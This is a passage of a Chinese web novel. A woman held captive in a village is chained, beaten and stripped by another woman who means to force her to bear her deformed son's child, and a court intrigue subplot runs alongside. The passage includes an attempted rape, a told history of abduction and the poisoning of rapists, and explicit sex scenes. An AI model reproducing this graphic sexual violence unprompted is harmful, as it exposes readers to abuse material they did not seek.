散发着热气的肉球与棠柳月的脸再一次相贴,那只布满血丝的眼球近乎贪婪地盯着她粉嫩的双唇,脸上的小孔一开一合,一努一努,似乎想一亲芳泽。
“呃……呃……”
棠柳月从喉咙挤出的求救声和铁链扯动的声音混在一起,像一把扁平的刀,摩擦着陈姐的太阳穴。
一股无名的恨意涌上心头,陈姐放下刘权,抬手便给了棠柳月几个巴掌。
被扇得眼冒金星的棠柳月趴在床上,好半天都没有缓过劲。
但陈姐犹不解恨,不管不顾地扯开棠柳月的衣裳,每扯下一件,都要恨声道:“装什么装!要不是我救了你,你早就是孤魂野鬼了。仗着自己皮囊生的好看,就给我甩脸子是吧?扒了这层皮,内里不都是勾引人的骚货!贱货!你想伺候我儿子,我还嫌你千人骑万人压呢!”
衣服被一件件剥夺,露出一处处紫红疤痕。它们交错纵横,与雪白的□□一起裸露在微凉的空气中。而雪白的尽头,是黑色的铁链,让人无处遁逃。
天窗上透进几簇阳光,除了让雪白愈加刺眼,带不来任何任何暖意。
惊心又猎奇。
肉球都忍不住起了反应。
直到细微绝望的哭声响起,陈姐骤然停下咒骂和手里的动作,眼神重新变得清澈。
她低下头,只见棠柳月双眼紧闭,泪流满面。赤裸的身体不停地颤抖,有些伤口又崩开了,正汨汨淌血。
而她的儿子,那个怪物,已经蠕动至棠柳月肩头,目标明确。
她从来不知道,原来只剩一只眼的儿子,也可以露出那样猥琐龌龊的眼神。
啪!
又是一个清脆的巴掌,被扇着滚了好几圈的刘权,不可置信地盯着陈姐,盯着自己的母亲。
用力过猛的手掌还在发颤,陈姐看了刘权一眼,又看了看棠柳月,突然悲从中来,掩面痛哭。
季临渊说到做到,自那日离开养心殿后,他便再未出现在皇帝面前,差点把皇帝气死。
以至于他去将军府慰问张世豪的时候,都忍不住鄙夷季临渊色令智昏。
张世豪倒是反应平平,与皇帝一同站在院中,只评价季临渊也是性情中人。不过对棠柳月,他却罕见地面露疼惜之色。
“那夜若无棠姑娘殊死抵抗,只怕末将也没命活下来。还请皇上尽量派人搜寻吧,生死总要有个结果,否则末将心里也寝食难安。”
老臣如此请求,皇帝也不好拂了面子,点了点头,算是应允。
“皇上,末将听闻是罗恒幡派人截杀末将,他当真承认了?”
皇帝瞟了张世豪一眼,漫不经心道:“算是吧,总之的确是他谋划的。”
张世豪却不认同地摇摇头,“末将虽与罗恒幡有过节,但不至于到痛下狠手的地步。而且做的如此决绝,他难道不怕连累罗氏一族吗?”
皇帝眸底掠过几分厌恶,于院中的各色兵器前踱步,“大将军真是心善,他都承认是他干的了,你还想为他开脱。”
张世豪急急道:“不是开脱,只是觉得事有蹊跷。”
“好了,”皇帝转身,眉目舒展开来,盛了几分疏离笑意,“大将军说的,朕会再行斟酌的。”
“姝儿今年也十八了吧,许人家了吗?”
提到女儿,张世豪也温和了眉眼,与寻常父亲一般,慈爱道:“小姑娘主意大,早些年便说婚嫁之事她自己做主。”
“到底父母之命媒妁之言,误了年岁也不好,大将军也该上心些才是。”
“皇上告诫的是,”张世豪躬身行了一个礼,“末将谨记于心。”
皇帝冷眼瞧着身上带伤的张世豪把礼数做全了,才伸手虚扶了他一把,幽幽道:“若是朕也觉得姝儿聪颖伶俐,就是不知大将军何日愿意割爱?朕定不亏待姝儿,封号朕都想好,英,英气果敢,如何?”
张世豪还能如何,噗通一声,跪得利落。
“皇上垂爱,但……末将就这一个女儿,还请皇上再给、再给一段时日,末将求您了!”说着,张世豪便在坚硬的地上,一连磕了好几个响头。
“大将军言重了,”皇帝轻笑,居高临下地看着张世豪,“一句玩笑而已,切莫挂怀。”
怎能不挂怀呢?
直到皇帝离去,张世豪都跪在院子里,久久不敢起身。
前院肃杀冷然,后院的闺房却满室旖旎。
层层青色纱帐垂下,将一切迷离喘息阻隔在这小小一方天地。
张姝坐在上面,面庞染上情欲的粉色。她扬起头,舒服地呵出几口热气。
身下的人抖动了几下,也随之喘起粗气。
张姝俯下身子,抱住这个清瘦文弱的男人,侧脸贴着他的胸膛,笑的餍足。
“我原以为你清冷高洁,却不想这般知趣识礼,也不知是哪位姑娘,这般会调教?”
沈易寒虽是刚发泄过欲望,但眼神却冷静得可怕。他用下巴轻轻蹭着张姝的头顶,嗓音微微沙哑:“自然是你调教的好,我一见你,便什么都不知道了。”
张姝娇羞地抿了抿唇,嗔怪了一句“嘴甜”,就又拉着人滚如层层锦被中。
情到浓时,沈易寒将张姝抵在铜镜前,耳鬓厮磨。
“嫁给我好不好?嫁给我!”
铜镜映出二人荒唐的情状,也涣散了张姝的思绪,只剩一声声破碎的“好”。
伤口又一次裂开,棠柳月不得不又卧床,静养了起来。但这次,她似乎真的被吓到了,白日里哪怕清醒着,也总是望着天发呆,宛如一潭死水。
陈姐也有些心虚,照顾棠柳月时都细心了许多,也不许刘权再靠近。
这天给棠柳月喂了几口米汤,陈姐见她依旧神色恹恹,坐在一旁,重重叹了口气。
“你是不是觉得我很坏?”
…
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…
棠柳月默不作声。
陈姐知道棠柳月说不出话,看了她一眼,慢慢低下头,双手揉搓着衣角。
“其实,我不是村子里的人。二十年前,我在前往京城科考的路上,被阿权的爹绑来。”
“他不是东西,学着别家畜生拐骗女子,也把我拐来强占,但等我生下阿权后他却跟兄弟厮混,被他大哥一刀砍死。”
“他大哥嘴上说对不住我,但转头也把我强占了,还让我怀上他的孩子。我不愿意,故意在干农活的时候从草垛上摔下来,摔死了五个月已经成型的男胎,我也不能再生了。”
“他大哥一下就疯了。”
陈姐说到这咯咯笑了起来,眼里满是嘲笑:“他杀了自家弟弟都没疯,一听到儿子没了,就疯了,好笑吧?”
或许是该笑的,如此荒谬。
棠柳月不知何时转过了脸,多日来的眼神空洞,渐渐有了聚焦之处。
陈姐笑久了,眼角溢处些许泪光,她抬手擦了擦,接着道:“他大哥疯了后没多久就死了,留下我们孤儿寡母,在村里被人戳脊梁骨。”
“人人都说我克夫,不祥,拢不住夫君的心,惹得兄弟反目。那时我是真的想死,好几次都带着阿权去了河边,想要带着他一走了之。”
“可我的阿权,小小一个娃子,跪下抱住我的腿,求我不要去死,头都磕破了。你看,这块疤就是小时候磕头留下的。”
陈姐抚摸着一旁熟睡的刘权,也不管棠柳月有没有看,继续说道:“那时起,我便不要死了,我不能让阿权没了爹又没了娘。”
“所以我回来,除了起早贪黑地干活,还学着男人做派,混在男人堆里讨口饭吃。”
“我原以为日子苦一点,能让阿权吃饱穿暖就行。但不知道是哪个黑心肝的,说我风骚下贱,耐不住寂寞往男人堆里扎。”
“然后,”陈姐的声音陡然低了下去,眼神仿佛弥散在经年的回忆里,不知落脚在何处:“就有人半夜翻进我家院子……”
棠柳月倒吸一口凉气,像溺水之人终于浮出水面那般,承受不住再次下坠这汪深沉苦痛,止不住摇头,不要说了,不要说了……
是在逃避,也是心疼,有些苦痛光是说出来,就是再一次的凌迟。
“你很害怕吗?”
陈姐的眼神落到到棠柳月身上,凑近她,拉住了她的手。
陈姐的手,粗糙如树皮。
棠柳月努力往后靠着身子,不敢直视陈姐浑浊的眼。
“起先我也害怕,后来我就不怕了,因为他们都死了。”陈姐脸上泛起古怪的笑,眼里莫名兴奋:“每次他们来找我,完事后我都会给他们吃一种药。这种药会加速身体的亏空,不出几次,他们就都死了。”
“我家以前是开医馆的,多的是这种独门秘方。”
说到以前,陈姐却没有再说下去。沉默了许久,才再度开口,带了几分难过:“爹爹曾说过不能害人,我这样做,他不会让我再进家门了。”
“你不要告诉我爹爹,好不好?”陈姐像个小孩子一般,央求着棠柳月。
但也只有一瞬,她便立刻察觉到自己的失态,随即正常了脸色。
“都是一些陈芝麻烂谷子的旧事,你听个响就行,”陈姐给棠柳月掖了掖被子,将床上用来隔开二人的挡板重新立起,“你得赶紧怀个孩子才是,女人有了孩子,心就定了。”
29.收留(4)
科举在即,先前被棠柳月指派协助科考的江寒星,现下几乎不怎么在翰林院露面,问就是在礼部。
而翰林院的所有事务都由宋澈衍顶着,白书礼还是同之前那样,跟在宋澈衍身边。
只不过现在的他较之以前安稳了许多,也不碎嘴了,有了几分人样。有时他还会主动跟宋澈衍问起棠柳月的下落。
但是不得不承认,棠柳月的失踪和皇帝逐渐的漠然,让翰林院很多人心里都五味杂陈。
他们本是读着圣贤书,凭着一腔忠君爱国才进入了翰林院。而今壮志未果,却已经目睹了所谓的“卸磨杀驴”,杀的还是昔日为他们出头说话的人。
真是令人心寒。
宋澈衍也是感觉到了这份人心寥落,但他无力劝阻。因为他也明白,如果他此刻也如季临渊那般,敢给皇帝甩脸子,那他只会有过之而无不及。
闷热沉寂的午后,科举的学子名单册子被送进翰林院。
每一卷册子都记录了相关学子的生平介绍、家世背景、过往成绩,这些都需要跟今年报考的学子信息进行一一核对,是一项繁琐但重要的工作。
江寒星难得在此时回来,回到书房的时候,正瞧见宋澈衍正仔细校对着。
“怎么就你一个人?”
宋澈衍核对的仔细,头也不抬道:“书礼跟其他人初审,我复审。须得我亲自过一遍,否则总觉得不安心。”
将手中的文书背在身后,江寒星走到宋澈衍身边,手肘架在书案上垒得高高的一摞书上,调侃道:“你还是那么相信你那双鹰一般的眼睛。”
【我的眼睛如鹰一般锐利,你的奏报就是不行。】
这是江寒星刚到翰林院时,宋澈衍经常对她说的一句话。
宋澈衍笑了笑,转眼间便校对好了一卷册子,他抬头看向女孩:“你要是闲得慌,就过来与我一起校对,别想偷闲。”
“你我同为侍读,你做便是我做。”江寒星眉眼一弯,露出一排贝齿。
拿起册子,轻拍女孩额头,宋澈衍笑骂了一句“油嘴滑舌”。
不过一偏头,他便看到江寒星身后的东西。
“那是什么?”宋澈衍朝那东西抬了抬下巴。
江寒星抿了抿唇,无奈地一卷册子放到了书案上,缓缓展开。
宋澈衍逐字逐句细看,但越看眉头越是紧锁。
“这是沈易寒的申考文书?”
“嗯,”江寒星点点头,“皇上给礼部传了口谕,点名让沈易寒破例参加。”
拿起只写了寥寥几行字,略显空白的文书,宋澈衍罕见地被震惊得老半天合不拢嘴:“他才十六,此前也没有任何参考记录,凭什么破例参加?”
“因为……”江寒星的脸色有些扭曲,自觉接下来的话离谱得不行。
“他要迎娶大将军张世豪的独女,张姝为妻。为旺夫家门楣,所以特许他参加科举,跻身进士后再行成婚大礼。”
……
好半天,宋澈衍才发出了一声疑惑无比的——“啊?”
江寒星感同身受宋澈衍的疑惑,“我也是昨天才知道,大将军亲自禀明皇上,赐了这桩婚事。”
“大将军爱女如命,怎会看得上这样的女婿?”
江寒星微微皱眉,脸色颇有些恨铁不成钢:“我听礼部的人说,是张小姐执意如此,说二人情根深种,不能自拔,非他不嫁。”
“荒谬,”宋澈衍气极反笑,将手里的文书往地上狠狠一摔,“他不是自诩跟柳月很亲近吗?现在柳月下落不明,他就攀龙附凤去了?”
晃晃悠悠捡起地上的东西,江寒星将它规整地放回桌上,平和道:“也不一定,说不定人家真的是情真意切。你说话也注意些,他已经不是穷小子了,是大将军的乘龙快婿。”
宋澈衍哼了一声,声音却低落了些:“还好柳月对他不是男女之情,否则不知该有多伤心。”
提起棠柳月,江寒星的心情也跟着沉了几分,抚过手下的册子,叹息声随之溢出,“也不知道柳月还在不在,季大人真的能把她找回来吗?”
“肯定还活着,若是死了,贼人费尽周折给她换衣服,岂非多此一举?”
这是宋澈衍给季临渊提的醒,也是他给自己吃的定心丸。
皇帝赐婚的圣旨很快便到了将军府,张世豪捧着新鲜热乎的圣旨,不知是喜还是忧。
不过,接受一个落魄女婿,总好过把女儿送进吃人的后宫,老死不见面的强。
毕竟落魄女婿稍微给点好脸色便会感恩戴德,金銮殿上那位……可见不得一点坏脸色。
好在,小两口两情相悦,也算成人美事。
张姝欢欢喜喜地从后院跑过来,忙不迭地从老父亲手里拿过圣旨,一边看一边笑得比蜜还甜。
“姝儿,爹查过沈易寒,虽说他家世清白,父母族人都死于疫病。但他自来京后便住在棠柳月府上,你不介意吗?”
张姝不以为意,“我知道爹爹在担心什么,你放心,我拿捏得住他。”
看张姝的脾气还是未收敛分毫,张世豪便放心不少,简单交代几句,便由着女儿出门寻欢。
在男尊女卑,女子艰难的大茗,张姝真的是少有的恣意随性,放浪形骸。
譬如寻欢,便是真的去寻欢。
醉翁楼里有一间雅阁,被张姝花重金买下,花了三年修葺成自己喜欢的样式,取名琼玉阁,用来和不同的人欢好作乐。
按张姝的话说便是,这是人间极乐事,要在风雅之地才更有意趣。
掌柜王步才守在一楼结账处,看着最近京中大火的男伶频频出入琼玉阁,不禁感叹最近张大小姐的口味,已经从西北糙汉变成清俊小生了。
一旁的小二听着,亦是点点头:“我听说跟张小姐成亲的那位公子,也是这般斯文呢。”
王步才撇撇嘴,“再斯文的人,也不能接受自己的妻子这样吧。”
小二“嗐”了一声,“我若是有这好福气,不仅能接受,我还能跟着挑选,定要选出最合心意的出来。”
咦呃……
王步才恶心地看了小二一眼,心里腹诽,若是轮到自己,自己把关后还要亲身试一试,才能放心送上去。
直到暮色四合,张姝才从醉翁楼出来,醉醺醺地坐上马车,去了沈易寒的住处。
自从棠柳月失踪后,沈易寒便没让秋姨再来照顾,而是自己守着偌大的府邸。
府门被砸的砰砰作响,沈易寒还在厨房煮粥。慌忙熄了灶火,净了手后,他便急急跑去开门。
一开门,一股酒气扑面而来。紧接着,一个香软的身躯便扑进他的怀里。
沈易寒暗自皱起了眉,他真的很讨厌喝酒的人。
但对上张姝雾蒙蒙的双眸时,眉间那点厌恶,又化作一片温柔。
“我想你了。”张姝语调温软,抱着沈易寒的脖子,垫脚轻啄了一下他的唇角。
沈易寒低头回了一个轻吻,便和丫鬟一起把喝得烂醉的张姝,扶到卧房。
没有把人带去棠柳月的房间,而是带回自己的房间。
他嫌脏。
给张姝卸下发饰,脱了外衣和鞋后,丫鬟识趣地退出房间。
烛火摇曳闪烁,床上的女子虽是醉了,却能轻易勾起男人的欲望。
被翻红浪,衣带散落,柔若无骨。
“赐婚的圣旨下来了,你高兴吗?”
张姝总是爱在上面,将沈易寒的失态看在眼里。
“高兴,能娶你,我就高兴。”沈易寒显然是忍得难受了,说话断断续续,额头有薄薄一层汗。
随手取过床头的丝巾,张姝擦去沈易寒额前的薄汗,轻笑道:“我与旁人夜夜笙歌,你也高兴?”
“你之前便是如此,不必为了我,多做改变。”
这般体贴,真是听得人感动。
研磨得久了,张姝手脚渐渐发酸,于是趴在沈易沈胸前,把玩着他的长发,“话说的真漂亮,不知道你对棠柳月,是不是也这么大度?”
……
察觉到男人身子僵住,张姝慢慢蹭上他的耳朵,吐气如兰:“你喜欢她,所以想攀上我,借我的手去找她,是吗?”
“不过好在,我喜欢你这张脸,愿意帮你。”
沈易寒没有说话,他感觉自己在张姝面前,似乎什么都藏不住。
就连欲望,也被她拿捏。
张姝低声笑了笑,用刚刚的丝巾,蒙住了自己的眼。
“现在,轮到你帮我了。”
沈易寒的双眸染满情欲,喉头动了动,不等张姝最后一个字说完,便翻身占了上风。
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滚烫的肌肤相贴,不留一点缝隙,二人都发出舒服的喟叹。
木床摇晃,床铃作响,门外的小丫鬟听得面红耳赤。
又一次自小木屋里醒来,棠柳月缓缓坐起身,脑子还有些昏沉。
刘权则还是在一旁,瞪着一只眼睛看人。
抬头看屋顶上两个巴掌大的天窗,一股深深的无助再次爬满她的心头。
棠柳月原以为自己撑得住,能撑得住朝廷派人找到自己。
但她高估了自己。
身体愈合的疼痛暂且不提,光是每日困在床上,铁链加身,不能说话,也没有人跟自己说话。目之所及便是这间屋子和刘权,逼仄幽暗。
而陈姐为了棠柳月能尽快恢复身体,每天都要给她吃一堆补品,还时常检查棠柳月腹部的伤口恢复的如何。
在陈姐眼里,棠柳月那么大个人,她能看见的只有一个肚子。
棠柳月深知再待下去,逼疯人是迟早的事情。
可是她又要怎么跑出去呢?皇帝真的有派人在找她吗?
努力挪动锻炼着双腿,棠柳月疼的龇牙咧嘴。
就在此时,门外忽然响起一阵骚乱。透过门板的缝隙,可以看到人影绰绰,来了好多人。
不一会,陈姐和两个妇人慌慌张张开门进来,陈姐抱起刘权,另外两个妇人把棠柳月从床上粗暴地拽下去,然后挪开屋内的草垛,扫开厚厚一层土,露出底下的地窖。
棠柳月心下一惊,这里居然有个地窖?
但没有时间留给她震惊,陈姐踢开盖子,两个妇人便拖着棠柳月便藏身入地窖。
陈姐赶忙把地窖盖子合上,盖上厚土压实,草垛移回原位。
下面两个妇人也没闲着,用长布条把棠柳月的嘴巴和手脚都捆起来,还扯过地窖里的破布,将棠柳月的头脸蒙住,生怕她出一点声音。
很快,上面传来声音。
“全都站好,我等奉皇上之命,搜寻朝廷要员!尔等不可私藏,若知其行踪需如实道来,否则便是知法犯法,按律处置!”
是川柏!是秦川柏的声音!
关在这里这么久,她终于听到了一个熟悉的声音!
棠柳月心头狂喜,随即便拼命挣扎,发出呜呜的求救声。
两个妇人见势不妙,立刻将棠柳月按在身下,扼住她的脖颈。
上面陈姐依旧低声哭泣着,诉说自己孤儿寡母的悲惨遭遇。
脚步声重重,可以清晰地辨别出上面的人在搜查。可直到搜查完,也没有人听到棠柳月的呼救声。
陈姐抽噎的声音响起:“官爷,我就是个平头老百姓,真的不敢私藏什么人。”
“行了,知道你们没有,我们这就走。”
不要走、不要走、不要走啊!
被按在地上的棠柳月,脸死死贴着地,额头青筋暴起。一片漆黑中,她转动眼珠,几近哀求地看向上方,心中悲鸣不断。
脚步慢慢撤离,陈姐似乎已经在送客,只听得她擤了擤鼻子,语调都轻松了不少:“是,我们一定安分守己。若以后——”
“当真搜查仔细了?”
更为熟稔的声音响起,棠柳月怔愣片刻,不敢相信自己的耳朵。
是季临渊吗?
“季大人,我们都搜过了,这里的确没有藏人。”秦川柏神色认真。
季临渊穿着黑金满绣麒麟服,发冠高耸,腰背绷得笔挺,通身散发着肃杀之气。
他负手站在门口,冷眼扫视屋内的一切。
屋子确实如秦川柏所说,一览无余,藏不了人。
但季临渊总觉得,这个屋子,眼前的这个女人,都有古怪。
他走近女人,展开棠柳月的画像,立在女人面前,语调深沉:“我再问一遍,真的没有见过画像上的女子吗?”
“……没有,”女人的眼神异常坚定,紧紧抱着怀中那个怪物,“大人就是再问一百遍,也是没有。”
季临渊压下狭长的眉眼,盯着女人看了许久,才缓缓收起画卷,沉声道:“打扰了,告辞。”
说罢便带人离去。
屋内渐渐回归平静,陈姐打开地窖盖子,顿时给地窖送去些许光亮。
棠柳月还是被压在地上,但这次她没有再挣扎。
泪水划过眼头,溶进地底。
30.逃离(1)
自那日季临渊走后,陈姐担心后面还有追兵搜查,索性把棠柳月直接关在地窖里,平日除了送饭,其余时候棠柳月都是独处在一片漆黑中。
撑着墙颤颤巍巍站起来,棠柳月只感觉浑身的皮肤就像绷到极致的鼓面,随时都会胀破。
头顶上方传来声响,紧接着一簇略微刺眼的白光探入地窖。
棠柳月瑟缩着蹲下,抬手遮眼。
“你这娃子还真是不怕疼,天天折腾自己。”
陈姐一边说着,一边手脚利索地顺着梯子爬下来,给棠柳月端来今天的午饭。
一碗散发着浓浓中药味道,但食之无味的鹅肠面汤。
已经不知道吃了多少回,但人是铁饭是钢,一顿不吃饿得慌。
棠柳月深知,身体是出逃的本钱、如今的情形,求人不如求己,所以再难吃,也要吃下去。
只是,她的体质特殊,若靠这些寻常草药,是根本不起作用的。
忍着恶心吃完面汤,棠柳月心思转了几轮,忽而拿起筷子,沾了汤汁,在地上写下一行字。
【陈姐,我从小身子弱,你只给我吃这些,我是生不下孩子的。】
陈姐一喜,但很快又用一种狐疑的眼神,打量棠柳月:“那你还想吃什么?”
棠柳月划动着筷子,写下了两个字:【牲畜的血,生血】
“……你要喝生血?”陈姐几乎怀疑自己听错了,试探地问道。
棠柳月点头如捣蒜。
“不会闹肚子吗?”
棠柳月摇头如拨浪鼓。
陈姐皱着眉头想了一会,走到棠柳月身前蹲下,将她连人带碗筷一起背起,离开地窖,重新放到了床上。
突如其来的释放让棠柳月有些惶恐,她缩着腿往墙角靠去,却被陈姐拉住脚踝和手腕,又拷上了熟悉的大铁链子。
“你想喝我给你找就是,最近阿权见不到你一直闹,所以我才放你出来,你好好陪陪他吧。”
陈姐说完又收拾了一下屋子,才端着碗筷离开。离开时,也不忘锁好门。
冰冷沉重的铁链摩擦挤压着刚刚长出的嫩肉,带来刺骨的疼。
棠柳月靠坐在床脚,将身边折好的床单塞到腿下面,以此稍稍抵消下肢的不适。
一抬眼,她便见到不远处躺着的刘权,正睁着一只眼看她。
不同的是,眼神不再是之前的混沌猥琐,而是清明了许多。他自小孔里挤出一声声诡异的叫唤,似乎想说什么。
可惜,棠柳月也说不出来。
不过,万一他识字呢?
入眼徒有四壁,棠柳月撑着身体,摸索了几下床头,还真找到一小截黑炭。
扯下墙上泛白的年画,棠柳月握着黑炭,歪歪扭扭写下一句“你识字吗”,便拿给刘权看。
刘权出乎意料地点头了,并且眼神示意棠柳月,他也要写。
棠柳月犹豫了一下,直接把黑炭塞到刘权嘴巴里,然后自己拿着年画,让他咬着黑炭写字。
于是,两人就这样漫长而艰难地交流起来。
【你,武将吗】
【是】
【抓人的伤吗】
应该是问她的伤,是不是抓人的时候造成的,棠柳月如是揣测,写下了一个【是】。
【还能回去吗】
【能】
看到这个回答时,刘权叼着炭笔,突然停下了动作。他凝视着那个“能”字,很久很久。
最后,才慢慢写了两个字——【真好】,转头噗的一下,吐掉黑炭。
可棠柳月却不想放弃交流,好不容易才从刘权身上看到些许常人模样,她想再试试。
【你可以帮我离开这里吗?】
当棠柳月把这句话递到刘权面前时,对方却闭上眼睛,拒绝交流。任凭她再问什么,刘权都没有回答。
在这之后,棠柳月每次被陈姐从地窖里背上来放风时,经常看到刘权躲着陈姐,在纸上重复画着一根曲曲折折的线条。
画的多了,棠柳月都记住了线条的走势。
偶尔刘权也会趁陈姐不在,问棠柳月外面的世界。
不过大多都是关于军队的,棠柳月也不是很清楚,只能把之前行军途中,从秦川柏那听来的告诉刘权。
不过很快,事情就发生了转折。是在不久后的雨夜,空气中弥漫着厚重的湿气。
昏黄的烛火下,陈姐把棠柳月安置在床上,给她递上一碗现杀的猪血,新鲜热乎。
棠柳月没有丝毫犹豫地抬手接过大碗,咕咚咕咚几下便入了肚子。
自从开始喝血,她的身体肉眼可见地愈合。很多创口结痂掉落,筋脉骨头重新连接,就连伤得最重迟迟无法愈合的脖子,现在都长出了淡粉色新肉,喉咙也可以发出微弱的语句。
陈姐满心欢喜地检查棠柳月的身体,越看越欢喜。
但棠柳月捧着瓷碗,却并不高兴。因为她发现自己虽然皮肉越长越好,但内在的武功却没有一点恢复。
这并不是一件好事,如果没有武功,她就算长好这副皮囊,也永远逃不出去。
难道,真的如阿娘说的那样,只有喝人血,才是她们恢复武功的方法吗?
棠柳月如寒玉般的双眸,不动声色地扫过眼前的母子二人。如果只是对付平民百姓,那这副身体其实还是可以应对,只是需要一个时机。
是挑陈姐,还是刘权呢?
就在棠柳月还未做出决定的时候,两个眼生的妇女却进入了屋子,反手将门锁上。
烛火幽微,三个女人如三座大山站在棠柳月身前。尤其陈姐还一反常态地带着一脸殷勤的笑,取过棠柳月手里的碗,随手放到一边。
一股未知的恐惧涌上心头,棠柳月撑着身体本能地往后缩去。
但两个妇女却身段敏捷,一个跳上床堵住棠柳月的退路,双手按住她的肩膀,不让其动弹。一个则站在床边,抓住她的脚踝,往下一拉,棠柳月整个人就直挺挺地躺在了床上。
陈姐跪坐在棠柳月身侧,下手利落,没几下便把棠柳月扒了个精光。
粗糙的手掌抚过日渐细腻的肌肤,引起一阵阵颤栗。
棠柳月因为恐惧而大口喘气,努力扭动着身体躲开,却被陈姐巴掌伺候,身上立刻泛起红印。
陈姐拧着棠柳月腿上的嫩肉,直到对方眼冒泪花,止不住呜咽时,她才松手,恨声道:“老实些!贱东西。”
一旁的妇女按着棠柳月的肩膀,有些于心不忍,劝道:“陈姐,要不还是算了吧。这小姑娘肚皮都没长好,到
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时候怀了孩子,肚子一大,容易出事啊。”
“不行!”陈姐毫不留情地拒绝,“之前那伙人虽然没来找了,但我心里总是不安,怕他们杀个回马枪,所以这事得赶紧做。”
站在床边的妇女用半边身子的重量压住棠柳月乱动的腿,说道:“还是像之前那样,你抱着阿权弄进去吗?”
陈姐点点头,拿起床边的一条大脸巾,将棠柳月兜头兜脸蒙起来,“嗯,你用点劲,把她两条腿拉开。”
外头忽然下起暴雨,雨水透过不结实的天窗,渗落到地上放着的脸盆里,啪嗒啪嗒。
沙沙的雨声缠绕着呜咽声,在这个昏暗小屋里此起彼伏。
棠柳月几乎是拼劲全身气力在反抗,两个常年干农活的妇人都被惊到了,一个小姑娘怎么会有这么大的力气。
陈姐见棠柳月如此不听话,怒火也渐渐涌上心头。她在床边探身,伸手朝下摸出一根手臂大小的木棍,作势就要往棠柳月头上打去。
按肩的那个妇女赶忙腾出手拉开陈姐,急急道:“这个不能打人啊陈姐!她头上也有伤,这样打下去会死的!”
陈姐满眼恼怒,浑不在意棠柳月是个活生生的人,“她要是死了我拖出去埋了就是!要是没死,瘫了正好,安安静静给阿权生孩子!”
“不行的不行的!”按腿的妇女也出声劝阻,“上次就打死了一个,这次不能再打死了!我造的冤孽已经够多了!”
“是啊,总不能来一个死一个,实在不行把腿断了就是。”
三个女人争得面红耳赤,你一言我一句说着令人彻骨生寒的话语。
而棠柳月听着这些锥心之语,睚眦欲裂,她疯狂地挣扎着,没有一丝屈服的意味。
在这场纷乱中,没有人注意到,不远处的刘权,正缓缓挪动身躯,把陈姐随手放在床边的瓷碗,顶到了地上。
而随着瓷碗的应声碎裂,另一个物体也随之砸下,发出沉闷的声响。
还在挥舞纠缠的陈姐听到声响,心下一惊。她猛然转身,只见原本安放刘权的棉絮软垫上,此刻空空如也。
熟悉微弱的呼嚎声从床下响起。
陈姐闻声,几乎是一个箭步,翻身到床下。
然后,她发出了一声惨叫。
紧接着,就是破门而出,和慌乱无措的脚步。
压制自己的力道突然全部撤走,两个妇女用几件衣服将棠柳月裹起来,塞进了地窖,临走时还不忘给她拷上铁链。
颤抖着坐起身,棠柳月用衣服紧紧裹住自己,缩在墙角,眼里还有未散去的惊惧,和陈姐手上刺眼的殷红。
无边黑暗里,她便这样睁眼撑了一夜。
直到第二天,棠柳月才从给自己送饭的妇人嘴里知晓,原来昨晚刘权不知怎么弄翻了瓷碗,然后自己又一头栽下去。
瓷片全都嵌入了他的身体,大夫给他挑了一夜的碎瓷片,也没有挑干净。脖子处细碎的小瓷片,让他此后完全无法出声。
更悲惨的是,伤痕累累之下,那唯一的眼,也未能幸免。
一块半掌大的瓷片直直插入他的眼球,嵌在颅骨的缝隙中,最后只得将整只眼珠剜出,才取出了瓷片。
自此,刘权什么都没了。
他彻底成了一个废人。
31.逃离(2)
自从刘权受伤后,棠柳月能出地窖的日子就更少了。每日只有阴沉着脸的陈姐,下到地窖给她送饭。
好在陈姐一心扑在照顾刘权上,没空折腾棠柳月,这才让后者得以尽快修复身体。
铁链摩擦着地面,发出沙沙的声音。
在无人照拂的阴暗地下,棠柳月已经可以独自站立,慢慢走动起来。手脚伸展自如,除了膝盖处还有些许钝痛,其余地方的皮肉已经长好,血痂已经脱落。
只是没有武功。
棠柳月尝试了许久,也没有集聚起半分内力,只能简单比划一些招式。但这样也好,起码可以吓唬住普通人,也有出门的能力。
只是得挑个好时机,她也不能只在这母子二人之间打转,人多才好办事。
正筹划着,头上传来响动,是陈姐来了。
棠柳月立刻蹲下,装作往日柔弱不堪的模样,瑟缩颤抖。
陈姐提着饭菜下来,今日的她没有骂骂咧咧,而是一言不发地盯着她吃完,收拾起碗筷后便要起身离开。
但棠柳月却扯住陈姐的衣角,拉起她的手,在掌心一笔一划写着。
【阿权还好吗?我想上去看看他】
提起孩子,尤其是受伤的孩子,做母亲的总是难免触动。
陈姐也不例外,刘权是她的命根子,本就悲惨,还因为她的疏忽而再次受到伤害。如果可以,陈姐恨不能以身替罪。
可她没办法,也不知道该跟谁倾吐心里的自责、怨怼、懊悔。只能撑着身躯,更加精心照顾孩子,再分神应付周遭嘲讽、唏嘘、漠然的人事。
或许是觉得棠柳月比她更弱吧,陈姐在面对她时,总会自在更多。想甩脸就甩脸,想骂人就骂人,整个村子的人都在她嘴里死过一遍。
也是如此,她还愿意听一听棠柳月的话。
“你现在还不能走路吗?”
那自然是不能,棠柳月可怜地摇摇头。
陈姐似乎也是相信了,走上前背起棠柳月,把她带到上面,放到床上。
床上,还躺着周身被纱布层层包裹,唯有小孔还在呼气的刘权。
再次见到刘权,棠柳月的心绪颇为复杂。她无法想象此刻刘权的世界是什么样子,他又在想什么。
看不见,听不见,闻不到,摸不到,动不得,说不得。
若他痴傻,或是长眠,亲近者尚且可以彼此安慰,他不会痛苦。
偏偏刘权是清醒的,之前棠柳月和他用纸笔交流时,也可以窥见他对自己过往的在意。
但此刻过往种种凄苦孤独、光明前路、无人问津,都与身体的残破交织成常人无法忍受的极刑,日日盘旋在他的心头,时刻将他凌迟。
哪怕刘权在她这里算不得好人,此刻她也不由得无声叹气,活成这样,他真的还想活下去吗?
只可惜,他活不起,也死不了。
陈姐挨着棠柳月坐下,面色疲惫,“那些碎瓷片,伤了阿权的眼睛和喉咙。还有好些都没有被取出,大夫说伤的太深,强行取出会危及性命。只能留着,但阿权就会很痛苦。”
“不过这些还不是最难的,”陈姐轻拍棠柳的手背,语气艰难:“最难的,是大夫说阿权伤到了根本,以后恐怕不能再生育了。”
棠柳月一愣,旋即露出同情的表情。但眼眸转动,心思疯长。
陈姐越说越难过,靠在棠柳月肩头,忍不住抹起眼泪,“造孽啊,阿权没有孩子可怎么办啊,我死了都不会安心的……”
那你带他一起死。
棠柳月这么想着,话到嘴边,却发现自己还说不了话。
也是幸好说不出来。
